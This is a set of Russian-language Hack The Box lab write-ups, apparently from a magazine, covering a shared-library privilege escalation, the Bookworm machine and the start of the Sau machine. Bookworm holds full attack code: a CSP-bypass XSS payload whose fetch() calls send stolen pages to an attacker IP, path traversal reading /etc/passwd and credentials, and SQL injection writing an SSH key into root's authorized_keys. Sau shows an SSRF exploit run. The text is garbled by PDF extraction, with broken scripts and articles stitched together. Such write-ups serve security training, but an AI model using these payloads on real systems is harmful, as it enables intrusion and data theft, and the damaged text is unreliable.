ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нуж но соб рать информа цию о сис теме. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Лис тенер  поз воля ет как ска чивать, так и заг ружать фай лы. Ком- 

бинаци ей кла виш Ctrl-D выходим из сес сии и набира ем такую коман ду:

pwncat-cs

upload linpeas.sh /tmp/linpeas.sh 

Файл будет заг ружен на сер вер. Коман дой  воз вра щаем ся обратно
в нашу сес сию и запус каем скрипт:

back

chmod +x /tmp/linpeas.sh 

Да дим скрип ту пра во на выпол нение и запус тим ска ниро вание. В выводе
будет мно го информа ции, но полез ного мало. Уце пить ся мож но толь ко
за нас трой ки sudoers.

Нас трой ки sudoers

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Здесь ука зан файл , а это зна чит, что мы можем выпол нить

его от име ни супер поль зовате ля без авто риза ции. Одна ко сам файл, сто ит
его запус тить, зап рашива ет пароль.

/usr/bin/stock

Тес товый запуск при ложе ния

Это не стан дар тный бинар ник из Linux, поэто му ска чаем его на локаль ный
хост для ана лиза.

<Ctrl>+D 
download /usr/bin/stock 
back 

От кры ваем файл в любом деком пилято ре. Я обыч но исполь зую IDA Pro.

Ре зуль тат деком пилиро вания фун кции main

По лучив от поль зовате ля пароль, прог рамма переда ет его в фун кцию
 (стро ки 53–58). Затем, если про вер ка прой дена, закоди рован ная

стро ка в перемен ной  рас шифро выва ется в фун кции XOR и переда ется
в фун кцию  (стро ки 60–78). Так как фун кция  заг ружа ет динами- 

чес кую биб лиоте ку, зашиф рован ные дан ные — это путь к фай лу биб лиоте ки.
Перей дем к фун кции , где получим пароль.

checkAuth
file

dlopen dlopen

checkAuth

Ре зуль тат деком пилиро вания фун кции checkAuth

Я решил не рас шифро вывать стро ку, а прос то запус тить файл под перех- 
ватчи ком сис темных вызовов .strace

strace /usr/bin/stock 

Ло ги отладчи ка strace

Пос ле вво да пароля получа ем не толь ко путь 
 к фай лу биб лиоте ки, но и сооб щение об ошиб ке, что такого

фай ла не сущес тву ет. Это явный путь к повыше нию при виле гий.

/home/rektsu/.config/
libcounter.so

Со дер жимое катало га /home/rektsu/.cong/

Сде лаем биб лиоте ку, которая при под груз ке исполня емым фай лом наз начит
S-бит фай лу коман дной обо лоч ки ./bin/bash

#include <stdlib.h>
#include <unistd.h>

   static void lpe() __attribute__((constructor));

  void lpe() {
      setuid(0);
      setgid(0);
      system("chmod u+s /bin/bash");
}

gcc  -shared -o libcounter.so -fPIC libcounter.с 
sudo /usr/bin/stock 

Экс плу ата ция уяз вимос ти

Ког да мы соз дадим биб лиоте ку и выпол ним при ложе ние, файл 

дол жен получить S-бит, а зна чит, может быть запущен обыч ным поль зовате- 
лем от име ни  с соот ветс тву ющи ми при виле гиями.

/bin/bash

root

/bin/bash -p

Флаг рута

Ма шина зах вачена!

https://github.com/calebstewart/pwncat
https://github.com/carlospolop/PEASS-ng
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ВЗЛОМ

В этом рай тапе я покажу, как мож но
исполь зовать уяз вимость в механиз ме кон- 
тро ля заг рузки фай лов для обхо да Content
Security Policy и экс плу ата ции слож ной XSS.
Най ден ная затем LFI поможет получить
важ ные дан ные для дос тупа к хос ту, а для
повыше ния при виле гий исполь зуем SQL-
инъ екцию через PostScript.

На ша цель — зах ват рута на машине Bookworm с пло щад ки .
Уро вень ее слож ности — «безум ный».

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.215    bookworm.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Nginx 1.18.0.•

SSH, как обыч но, оставля ем на потом: без учет ных дан ных там ничего не сде- 
лать. В пер вую оче редь идем смот реть веб-сайт.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те есть воз можность зарегис три ровать ся и авто ризо вать ся, что мы
и дела ем.

Фор ма регис тра ции нового поль зовате ля

Про бега емся по сай ту, что бы опре делить воз можные точ ки вхо да. К при меру,
в про филе поль зовате ля мож но уста новить ава тар, заг рузив кар тинку.
При заг рузке фай лов час то встре чают ся уяз вимос ти, которые поз воля ют заг- 
ружать не толь ко кар тинки.

Стра ница про филя поль зовате ля

Сам сайт пред став ляет собой магазин книг, поэто му добавим файл в кор- 
зину, а затем прос мотрим ее.

Стра ница товара

Кор зина поль зовате ля

В кор зине у нас есть воз можность изме нить запись, а это зна чит, что тут
может быть уяз вимость как XXS, так и SSTI.

ÒÎ×ÊÀ ÎÏÎÐÛ

XSS
Вы бира ем пункт изме нения записи и про буем под клю чить файл с нашего
сер вера.

 <img src="http://10.10.14.118/test_xss">

Фор ма изме нения

Пос ле отправ ки наг рузки смот рим логи веб-сер вера и видим там зап рос.

Ре зуль тат изме нения записи

Ло ги веб-сер вера

На ходим зап рос в  и обра щаем вни мание на заголо вок CSP.Burp History

Зап рос в Burp History

 — это механизм обес печения безопас ности,
с помощью которо го мож но защищать ся от XSS-атак. CSP опи сыва ет
безопас ные источни ки для заг рузки ресур сов и уста нав лива ет пра вила
исполь зования встро енных скрип тов. Заг рузка с ресур сов, не вхо дящих
в белый спи сок, бло киру ется. В дан ном слу чае будут исполнять ся скрип ты
толь ко с тес тиру емо го сер вера, а зна чит, наг рузку со сво его сер вера мы
не выпол ним.

Content Security Policy

Так же пос ле меня какой-то поль зователь добавил товар себе в кор зину.

Спи сок товаров

Ис ходный код стра ницы рас кры вает какой-то , ско рее все го, это иден- 
тифика тор заказа, так как при новой покуп ке от име ни того же поль зовате ля
иден тифика тор обновля ется.

id

Ис ходный код стра ницы

Поп робу ем в нашем зап росе поменять иден тифика тор на изме нение записи.
Если дос туп к заказу не кон тро лиру ется, то наг рузка выпол нится и дру гой
поль зователь обра тит ся к фай лу на нашем сер вере.

Из менен ный зап рос в Burp Repeater

Ло ги сер вера

На сер вер при шел зап рос, а зна чит, мы можем триг герить зап росы от име ни
дру гого поль зовате ля сай та.

File Upload
Пе рей дем к заг рузке ава тар ки. Боль ше все го нас инте ресу ет дан ный зап рос
в Burp History.

Зап рос в Burp History

При попыт ке заг рузить шелл получа ем ошиб ку, сооб щающую о том, что мы
можем заг рузить толь ко фай лы JPEG и PNG.

Ошиб ка заг рузки фай ла

При новой заг рузке фай ла перех ватыва ем зап рос в  и изме няем
содер жимое фай ла на прос тую стро ку-инди катор .

Но получа ем уже дру гую ошиб ку.

Burp Proxy

test_file_upload

Зап рос на заг рузку фай ла

Ошиб ка сер вера

Раз ошиб ка изме нилась, зна чит, содер жимое фай ла не про веря ется. Тог да
надо попытать ся изме нить рас ширение фай ла. Пер вым делом про буем
исполь зовать двой ное рас ширение, раз делен ное null-сим волом ( ).

При про вер ке фай ла будет учи тывать ся вто рое рас ширение, а при заг рузке
его отсе чет из-за null-сим вола, и файл сох ранит ся с пер вым рас ширени ем.

%00

Зап рос на заг рузку фай ла

Зап рос заг ружен ного фай ла

Пос ле редирек та видим обра щение к нашему фай лу и отоб ражение его
содер жимого. Дос туп к фай лу тоже не про веря ется.

curl http://bookworm.htb/static/img/uploads/14 

Зап рос содер жимого заг ружен ного фай ла

CSP Bypass XSS
Итак, мы можем заг рузить на сер вер файл с тек сто вым содер жимым. Давай
поп робу ем добавить код на JavaScript, дела ющий прос той зап рос на наш
сер вер.

fetch("http://10.10.14.118/csp_bypass");

За тем в нашей XSS поп робу ем ука зать в качес тве источни ка скрип та заг- 
ружен ный на сер вер файл.

<script src="/static/img/uploads/14"></script>

Это поз воля ет нам обой ти полити ку CSP и выпол нить про изволь ный код
на JS. Об этом сви детель ству ют логи веб-сер вера (Python 3).

Ло ги веб-сер вера

На чина ем делать зап росы к сер веру от име ни поль зовате ля и извле кать отве- 
ты. Сле дующий код выпол нит зап рос на стра ницу , затем закоди рует
ее содер жимое в Base64 и отпра вит в качес тве парамет ра  на наш сер вер.

/profile
d

fetch .then  ("http://bookworm.htb/profile") (async resp => {
  fetch("http://10.10.14.118/?d=" + btoa(await resp.text()))
});

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


HTB BOOKWORM
ЭКСПЛУАТИРУЕМ СЛОЖНУЮ XSS

С БАЙПАСОМ CSP

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Заг рузка скрип та на сер вер

Из менение записи поль зовате ля

Ло ги веб-сер вера

Пос ле получе ния закоди рован ной стра ницы декоди руем ее, сох раня ем
в файл и откры ваем через бра узер для удоб ного прос мотра.

Со дер жимое стра ницы /prole

Ви дим оче редь заказов, каж дый со ссыл кой. Адрес ссыл ки получа ем из кода
стра ницы.

Ис ходный код стра ницы /prole

Те перь поп робу ем получить стра ницы заказов. Для это го нуж но пар сить стра- 
ницу  и извле кать из кода эти ссыл ки. Допол ним наш код, что бы он

отправ лял на наш сер вер URI каж дого заказа, и пов торим ата ку.

/profile

  function exfil(uri) {
    fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri));
}

  function getUris(page) {
      const parser = new DOMParser();
      const doc = parser.parseFromString(page, 'text/html');
     const links = doc.querySelectorAll('tbody a');
       const uris = Array.from(links).map((link) => link.getAttribute('
href'));
   return uris;
}

   fetch("http://bookworm.htb/profile").then(async resp => {
      const page = await resp.text();
     const uris = getUris(page);
       for (const uri of uris) {
      exfil(uri);
  }
});

Ло ги веб-сер вера

Код работа ет, мы получа ем каж дую ссыл ку по отдель нос ти. Теперь сно ва
допол ним код: получив ссыл ку, выпол няем зап рос на нее, а ответ, как и рань- 
ше, кодиру ем в Base64 и при сыла ем на наш сер вер в парамет ре . Так
как стра ниц нес коль ко, в парамет ре  отправ ляем их URI.

d
u

  function exfil(uri) {
       fetch("http://bookworm.htb" + uri).then(async resp => {

    
   

      fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri) + "&
d=" + btoa(await resp.text()));
  });
}

  function getUris(page) {
      const parser = new DOMParser();
      const doc = parser.parseFromString(page, 'text/html');
     const links = doc.querySelectorAll('tbody a');
       const uris = Array.from(links).map((link) => link.getAttribute('
href'));
   return uris;
}

   fetch("http://bookworm.htb/profile").then(async resp => {
      const page = await resp.text();
     const uris = getUris(page);
       for (const uri of uris) {
      exfil(uri);
  }
});

Ло ги веб-сер вера

В логах нашего веб-сер вера видим четыре боль ших зап роса. Декоди руем
и прос матри ваем их через бра узер.

Со дер жимое стра ницы заказа

Мы получи ли ссыл ки на заг рузку как отдель но каж дой кни ги, так и всех книг
сра зу. Вид ссыл ки сно ва узна ем из исходно го кода стра ницы.

Ис ходный код стра ницы заказа

Поп робу ем ска чать этот документ. Но сна чала по ана логии с пре дыду щими
шагами вытащим из стра ницы ссыл ку на PDF.

  function getUris(page) {
      const parser = new DOMParser();
      const doc = parser.parseFromString(page, 'text/html');
     const links = doc.querySelectorAll('tbody a');
       const uris = Array.from(links).map((link) => link.getAttribute('
href'));
   return uris;
}

  function getFileUri(uri) {
       fetch("http://bookworm.htb" + uri).then(async resp => {

          const page = await resp.text();
         const uris = getUris(page);

           for (const u of uris) {
            fetch("http://10.10.14.118/?u=" + encodeURIComponent(u));

      }
  });

}

   fetch("http://bookworm.htb/profile").then(async resp => {
      const page = await resp.text();
     const uris = getUris(page);
  getFileUri(uris[0]);
});

Ло ги веб-сер вера

Те перь допишем код, выпол няющий зап рос для получен ного адре са и при- 
сыла ющий нам содер жимое отве та. Тоже по ана логии с пре дыду щими
шагами.

  function exfil(uri) {
       fetch("http://bookworm.htb" + uri).then(async resp => {

    
   

      fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri) + "&
d=" + btoa(await resp.text()));
  });
}

  function getUris(page) {
      const parser = new DOMParser();
      const doc = parser.parseFromString(page, 'text/html');
     const links = doc.querySelectorAll('tbody a');
       const uris = Array.from(links).map((link) => link.getAttribute('
href'));
   return uris;
}

  function getFileUri(uri) {
       fetch("http://bookworm.htb" + uri).then(async resp => {

          const page = await resp.text();
         const uris = getUris(page);

           for (const u of uris) {
          exfil(n);
      }
  });
}

   fetch("http://bookworm.htb/profile").then(async resp => {
      const page = await resp.text();
     const uris = getUris(page);
  getFileUri(uris[0]);
});

Ло ги веб-сер вера

По луча ем стро ку в Base64, но явно слиш ком малень кую. При декоди рова нии
понима ем, что это стра ница ошиб ки.

Ис ходный код получен ной стра ницы

LFI
Тог да про буем ска чать нес коль ко фай лов сра зу. Эта фун кция уже пре дус- 
мотре на, так что при думы вать ничего не нуж но. Изме ним наш код так, что бы
к получен ной фун кци ей  ссыл ке на ска чива ние фай ла добав лялся
еще один файл .

getUris()
&bookIds=5

  function exfil(uri) {
       fetch("http://bookworm.htb" + uri).then(async resp => {

           var barray = new Uint8Array(await resp.arrayBuffer());
         var bindata = '';
               for (var i = 0; i < barray.byteLength; i++) {

            bindata += String.fromCharCode(barray[i]);
      }

    
  

      fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri) + "&
d=" + btoa(bindata));
  });
}

  function getUris(page) {
      const parser = new DOMParser();
      const doc = parser.parseFromString(page, 'text/html');
     const links = doc.querySelectorAll('tbody a');
       const uris = Array.from(links).map((link) => link.getAttribute('
href'));
   return uris;
}

  function getFileUri(uri) {
       fetch("http://bookworm.htb" + uri).then(async resp => {

          const page = await resp.text();
         const uris = getUris(page);

           for (const u of uris) {
               const nu = u + "&bookIds=5"

          exfil(nu);
      }
  });
}

   fetch("http://bookworm.htb/profile").then(async resp => {
      const page = await resp.text();
     const uris = getUris(page);
  getFileUri(uris[0]);
});

Ло ги сер вера

И получа ем уже дру гой ответ, декоди руем файл и про веря ем его тип ути литой
.file

Про вер ка ска чан ного фай ла

Это ока зал ся архив ZIP, который содер жит два фай ла — те, что мы ука зыва ли
по иден тифика торам.

Со дер жимое ска чан ного архи ва

Про веря ем метадан ные PDF-фай лов с помощью  и опре деля ем, что
они кон верти рова ны с помощью PyFPDF 1.7.2. Зна чит, в катало ге лежат
не сами PDF, а их тек сто вые про обра зы в виде тек ста или даже HTML.

exiftool

Ме тадан ные PDF-фай ла

Поп робу ем вмес то иден тифика тора ука зать путь к про изволь ному фай лу,
к при меру :/etc/passwd

     const nu = u + "&bookIds=../../../../../../../../etc/passwd"

Те перь в ска чан ном архи ве будет при сутс тво вать неиз вес тный файл с содер- 
жимым ./etc/passwd

Со дер жимое фай ла /etc/passwd

SSH-ключ про читать не получи лось, перей дем к исходным кодам при ложе ния.
Для начала поп робу ем про читать файл , который будет

содер жать коман дную стро ку текуще го про цес са, в дан ном слу чае веб-сер- 
вера. Коман да дол жна будет рас крыть нам путь к фай лам на сер вере. Файл
в архи ве ока зал ся очень малень ким и содер жал текст в сыром виде.

/proc/self/cmdline

Со дер жимое фай ла /proc/self/cmdline

Node.js запус кает файл , но не по пол ному пути, а из катало га при- 

ложе ния. Узнать этот каталог мож но из фай ла .

index.js
/proc/self/cwd

Со дер жимое фай ла /proc/self/cwd

Те перь зна ем запущен ный файл и путь к нему, так что можем про читать
содер жимое: ./var/www/bookworm/index.js

Со дер жимое фай ла index.js

В фай ле видим под клю чение модуля , который дол жен содер жать
учет ные дан ные для под клю чения к СУБД. Получим содер жимое фай ла 

.

database
/var/

www/bookworm/database.js

Со дер жимое фай ла database.js

С получен ным паролем уда ется авто ризо вать ся на SSH от име ни поль зовате- 
ля .frank

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

В выводе мно го информа ции, отби раем толь ко самое важ ное.
В спис ке прос лушива емых пор тов находим непонят ный порт 3001.

Спи сок активных пор тов

В домаш нем катало ге поль зовате ля  при сутс тву ет про ект .neil converter

Фай лы рута в домаш них катало гах поль зовате лей

Так как нам дос тупны фай лы про екта, мож но заг рузить на хост 
, заар хивиро вать весь каталог и ска чать на свой

компь ютер.

ста тичес ки
соб ранный архи ватор 7zip

./7za a converter /home/neil/converter/index.js /home/neil/converter/
node_modules 

Продолжение статьи →

https://github.com/carlospolop/PEASS-ng
https://github.com/develar/7zip-bin/tree/master/linux


HTB BOOKWORM
ЭКСПЛУАТИРУЕМ СЛОЖНУЮ XSS

С БАЙПАСОМ CSP

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Пос ле заг рузки про екта откры ваем его в любом редак торе кода и изу чаем.
С пер вых строк ста новит ся понят но, что имен но этот про ект и работа ет
на пор те 3001 (стро ка 10).

Со дер жимое фай ла index.js

Да вай про верим най ден ное при ложе ние. Для это го нуж но «про кинуть»
порт 3001 на свой хост с помощью SSH.

ssh frank@bookworm.htb -L 3001:127.0.0.1:3001 

Весь тра фик, который мы пош лем на локаль ный порт 3001, будет тун нелиро- 
ван на порт 3001 ука зан ного хос та (в дан ном слу чае 127.0.0.1) через SSH-
хост.

Глав ная стра ница сай та

Сра зу ска жу, что, хоть у нас и есть исходный код, ока залось сов сем не слож но
най ти уяз вимость и без его изу чения. При кон верти рова нии фай ла на сер вер
отправ ляют ся его имя, тип и содер жимое, а так же рас ширение, харак терное
для фор мата, в который мы хотим кон верти ровать. В ответ сер вер прос то
воз вра щает содер жимое фай ла.

Зап рос на заг рузку фай ла и ответ сер вера

При этом на сер вере соз дает ся файл в катало ге .output

Соз данный на сер вере файл

Сра зу про буем вмес то рас ширения фай ла ука зать путь с обхо дом катало га.

Зап рос на заг рузку фай ла

В ито ге к име ни фай ла на сер вере прос то добав ляет ся ука зан ное нами рас- 
ширение.

Соз данный на сер вере файл

Поп робу ем вый ти из катало га, добавив еще одну пос ледова тель ность .../

Зап рос на заг рузку фай ла

Сно ва про веря ем заг ружен ный файл и замеча ем обход катало га.

Соз данный на сер вере файл

Это зна чит, что мы можем про извести запись в про изволь ный файл на сер- 
вере. Увы, при попыт ке переза писать SSH-ключ поль зовате ля 

 сво им клю чом, сге нери рован ным коман дой 

, получа ем ошиб ку. Но в подоб ных слу чаях нас спа сают ссыл ки

на фай лы. Соз дадим на сер вере ссыл ку на файл .

/home/neil/.
ssh/authorized_keys ssh-
keygen

authorized_keys

mkdir /tmp/test 
chmod 777 /tmp/test 

 ln -s /home/neil/.ssh/authorized_keys /tmp/test/qweewq.txt 

А теперь поп робу ем записать ключ по соз данной ссыл ке.

Зап рос на заг рузку фай ла

За тем пыта емся под клю чить ся с при ват ным клю чом и получа ем сес сию поль- 
зовате ля .neil

Сес сия поль зовате ля neil

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Раз ведку уже про води ли, так что при изме нении кон тек ста сра зу про веря ем
самые оче вид ные мес та. В пер вую оче редь — нас трой ки sudoers.

 sudo -l

Нас трой ки sudoers

Здесь видим, что мы можем запус тить при ложе ние 

 без вво да пароля от име ни поль зовате ля . Про верим, что

это за файл.

/usr/local/bin/
genlabel root

file /usr/local/bin/genlabel 

Про вер ка фай ла genlabel

Это скрипт на Python, поэто му смот рим его исходный код. При ложе ние
откры вает файл , чита ет пароль для под клю чения к базе дан ных
и под клю чает ся к ней (стро ки 9–14).

dbcreds.txt

Ис ходный код genlabel

За тем скрипт дела ет зап рос к базе, отку да извле кает мно го парамет ров
(стро ки 22–24). Потом чита ет PostScript-шаб лон, заменя ет в нем зна чения
теми, что были получе ны из базы, и сох раня ет в новый файл (стро ки 31–48).
В кон це запус кает ся про цесс  и кон верти рует файл PostScript в фор- 

мат PDF (стро ки 50–54).

ps2pdf

Ис ходный код genlabel

PostScript — это язык прог рамми рова ния, который раз работа ли и исполь зуют
в Abode для соз дания PDF-фай лов. Если бы мы мог ли добавить код в файл

, то смог ли бы записать SSH-ключ еще и руту, но на файл шаб лона нет нуж- 

ных прав. Манипу лиро вать дан ными, получа емы ми из базы дан ных, тоже
не можем. Зато нас выруча ет исполь зуемый в скрип те уяз вимый для внед- 
рения кода SQL-зап рос.

PS

  

  

query = "SELECT name, addressLine1, addressLine2, town, postcode, 
Orders.id as orderId, Users.id as userId FROM Orders LEFT JOIN Users 
On Orders.userId = Users.id WHERE Orders.id = %s" % sys.argv[1]

С помощью SQL-инъ екции мы можем вста вить про изволь ные дан ные вмес то
перемен ной  в шаб лоне:NAME

... 
50 550 moveto 
NAME( ) show 

... 

В PS-файл будем встав лять сле дующий код, который запишет ключ SSH
в .authorized_keys

show )
 w/outfile1 (/root/.ssh/authorized_keys) ( ) file def 

outfile1 (ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABgQDeZrovTfRBOzQwB2fZbeydja1KYopABLo+zilqm
40rkJu+PwtxU3pxiHSXkmMDyGFlmeNZbTlSddt6RVvoR0EoMWdyV59CQbYD2AWOTDr4Qa
MDkIoyHhNGxl0XWorwutT7AaZVuYdtc8qZeZWHbGg/
F5Cwipy3/
zwz7hdFUgKz0IUzChBnsCJe2RTqeAY+kaGXJASHGokCc6OoIH+ETV1kqj6IEu67wfTqwS
4d0f3Zxd/
Ap5I9bJODtkyOVhVYaO+BwC9XncOUk+SezBI7CnYkoJgOdSrWMY/WXwCdfemV/
eFx+TDf5CzPwteZmc+qIp7//
lxHgvXeBKe9lEH7ysVnSP8mLMMRUF6qtJUD8rtESFJ9VI6ppo/
c1xuBptabpZEwHqFJV4x1ESEQZ4jo6TvcpTbd1TRPkgw3WxwracW98Jw1rjavwT6sOSg/
RAk/
hh7j3KBJnjpuEvpNZxYpiisWSCI8hbNTJmkuaqseOB1KStjlginavbhlpK9MMwAmHJM= 
ralf@ralf-PC)
writestring 
outfile1 closefile 

a (

Тог да файл PostScript будет выг лядеть так:

50 550 moveto 
show ()

 w/outfile1 (/root/.ssh/authorized_keys) ( ) file def 
outfile1 (ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABgQDeZrovTfRBOzQwB2fZbeydja1KYopABLo+zilqm
40rkJu+PwtxU3pxiHSXkmMDyGFlmeNZbTlSddt6RVvoR0EoMWdyV59CQbYD2AWOTDr4Qa
MDkIoyHhNGxl0XWorwutT7AaZVuYdtc8qZeZWHbGg/
F5Cwipy3/
zwz7hdFUgKz0IUzChBnsCJe2RTqeAY+kaGXJASHGokCc6OoIH+ETV1kqj6IEu67wfTqwS
4d0f3Zxd/
Ap5I9bJODtkyOVhVYaO+BwC9XncOUk+SezBI7CnYkoJgOdSrWMY/WXwCdfemV/
eFx+TDf5CzPwteZmc+qIp7//
lxHgvXeBKe9lEH7ysVnSP8mLMMRUF6qtJUD8rtESFJ9VI6ppo/
c1xuBptabpZEwHqFJV4x1ESEQZ4jo6TvcpTbd1TRPkgw3WxwracW98Jw1rjavwT6sOSg/
RAk/
hh7j3KBJnjpuEvpNZxYpiisWSCI8hbNTJmkuaqseOB1KStjlginavbhlpK9MMwAmHJM= 
ralf@ralf-PC)
writestring 
outfile1 closefile 

a( ) show 

Ни каких оши бок быть не дол жно. Для инъ екции будем исполь зовать UNION-
наг рузку:

sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1 (/
root/.ssh/authorized_keys) (w) file def\noutfile1 (ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABgQDeZrovTfRBOzQwB2fZbeydja1KYopABLo+zilqm
40rkJu+PwtxU3pxiHSXkmMDyGFlmeNZbTlSddt6RVvoR0EoMWdyV59CQbYD2AWOTDr4Qa
MDkIoyHhNGxl0XWorwutT7AaZVuYdtc8qZeZWHbGg/
F5Cwipy3/
zwz7hdFUgKz0IUzChBnsCJe2RTqeAY+kaGXJASHGokCc6OoIH+ETV1kqj6IEu67wfTqwS
4d0f3Zxd/
Ap5I9bJODtkyOVhVYaO+BwC9XncOUk+SezBI7CnYkoJgOdSrWMY/WXwCdfemV/
eFx+TDf5CzPwteZmc+qIp7//
lxHgvXeBKe9lEH7ysVnSP8mLMMRUF6qtJUD8rtESFJ9VI6ppo/
c1xuBptabpZEwHqFJV4x1ESEQZ4jo6TvcpTbd1TRPkgw3WxwracW98Jw1rjavwT6sOSg/
RAk/
hh7j3KBJnjpuEvpNZxYpiisWSCI8hbNTJmkuaqseOB1KStjlginavbhlpK9MMwAmHJM= 
ralf@ralf-PC) writestring\noutfile1 closefile\n\n(r' as name, 'r' as 
addressLine1, 'r' as addressLine2, 'r' as town, 'r' as postcode, 0 
as orderId, 1 as userId;"

Экс плу ата ция уяз вимос ти

Про буем под клю чить ся с при ват ным клю чом и получа ем сес сию поль зовате- 
ля root.

Флаг рута

Ма шина зах вачена!
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ВЗЛОМ

В этом рай тапе я покажу про цесс экс плу- 
ата ции SSRF-уяз вимос тей и инъ екции
команд опе раци онной сис темы при ата ке
на веб-сер вер на Linux. Получив дос туп
к SSH, мы исполь зуем тех нику GTFOBins,
что бы повысить при виле гии через сис- 
темную ути литу systemctl.

На ша цель — зах ват рута на машине Sau с пло щад ки . Уро вень
ее — лег кий.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.224    sau.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
55555 — веб-сер вер, выпол няющий редирект на стра ницу .• /web

Еще видим порт 80, но он филь тру ется. Пос мотрим, что за сайт на пор- 
те 55555.

Глав ная стра ница сай та http://10.10.11.224:55555/

ÒÎ×ÊÀ ÂÕÎÄÀ

Бла года ря помет ке Powered by узна ёем, что исполь зует ся сис тема 
 вер сии 1.2.1. Так как мы зна ем вер сию про дук та, пер вым делом про- 

верим, нет ли для нее готовых экс пло итов. Для поис ка прос то вос поль зуем ся
Google.

Request
Baskets

По иск экс пло итов в Google

Пер вая  ведет к экс пло иту для уяз вимос ти CVE-2023-27163 (SSRF).ссыл ка

Справ ка к экс пло иту

Эта уяз вимость поз воля ет ата кующе му зас тавить сер вер выпол нить зап рос
на дру гой хост. Для про вер ки запус тим локаль ный веб-сер вер:

python3 -m http.server 80 

А теперь попыта емся выпол нить на него зап рос.

python3 CVE-2023-27163.py -v http://10.10.11.224:55555/web -t http://
10.10.14.48/test_ssrf 

Ре зуль тат работы экс пло ита

Ло ги веб-сер вера

Зап рос при шел, а зна чит, сер вис уяз вим. Тут вспо мина ем о филь тра ции под- 
клю чений к 80-му пор ту. Воз можно, SSRF поможет обой ти это огра ниче ние.

ÒÎ×ÊÀ ÎÏÎÐÛ

SSRF
Ос талось разоб рать ся толь ко с тем, как получить содер жимое отве та
при обра щении к стра нице через SSRF. Я решил изу чить про цесс работы экс- 
пло ита через , для чего открыл файл  и в

кон це соз дал запись для перенап равле ния тра фика через Burp.

Burp Proxy /etc/proxychains.conf

http    127.0.0.1   8080 

